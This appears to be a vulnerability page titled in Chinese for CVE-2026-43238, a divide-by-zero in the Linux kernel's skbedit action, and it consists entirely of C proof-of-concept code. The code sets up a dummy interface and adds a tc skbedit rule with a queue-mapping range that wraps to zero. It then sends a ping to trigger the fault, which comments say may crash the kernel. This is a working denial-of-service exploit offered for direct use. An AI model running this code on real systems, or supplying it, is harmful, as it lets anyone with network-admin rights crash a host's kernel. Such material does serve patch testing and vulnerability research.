CVE-2026-43238 Linux内核 skbedit除零错误漏洞

#include <stdio.h> #include <stdlib.h> #include <unistd.h> /* * PoC for CVE-2026-43238 * Triggering divide-by-zero in act_skbedit * Requires CAP_NET_ADMIN capabilities (usually root) */ int main() { printf("[+] CVE-2026-43238 PoC Start\n"); // Check privileges if (geteuid() != 0) { printf("[-] Error: You must be root to run this PoC (requires tc commands).\n"); return 1; } // Setup a dummy network interface to test on printf("[*] Setting up dummy interface...\n"); system("ip link add name dummy_poc type dummy"); system("ip link set dummy_poc up"); // Add a qdisc to attach filters to printf("[*] Adding qdisc...\n"); system("tc qdisc add dev dummy_poc clsact"); /* * Add the vulnerable skbedit action. * The bug occurs when queue_mapping_max - queue_mapping + 1 > U16_MAX. * Specifically, if queue_mapping=0 and queue_mapping_max=65535, * mapping_mod becomes 65536, which wraps to 0 in u16. * This causes a divide-by-zero when processing packets. */ printf("[*] Configuring skbedit with vulnerable range (0-65535)...\n"); // Note: 'tc' syntax may require specific kernel version support for these flags char cmd[256]; snprintf(cmd, sizeof(cmd), "tc filter add dev dummy_poc ingress matchall action skbedit queue_mapping 0 queue_mapping_max 65535"); int ret = system(cmd); if (ret == 0) { printf("[+] Vulnerable rule added successfully.\n"); printf("[*] Triggering packet processing (this may crash the kernel)...\n"); // Generate traffic to trigger the tcf_skbedit_hash function // Sending a ping to the dummy interface creates skb traffic system("ping -c 1 -I dummy_poc 192.0.2.1"); printf("[*] If system didn't crash, cleaning up...\n"); } else { printf("[-] Failed to add tc rule. Kernel might not support the flags or is already patched.\n"); } // Cleanup (if not crashed) system("tc qdisc del dev dummy_poc clsact"); system("ip link delete dummy_poc"); printf("[+] PoC Finished.\n"); return 0; }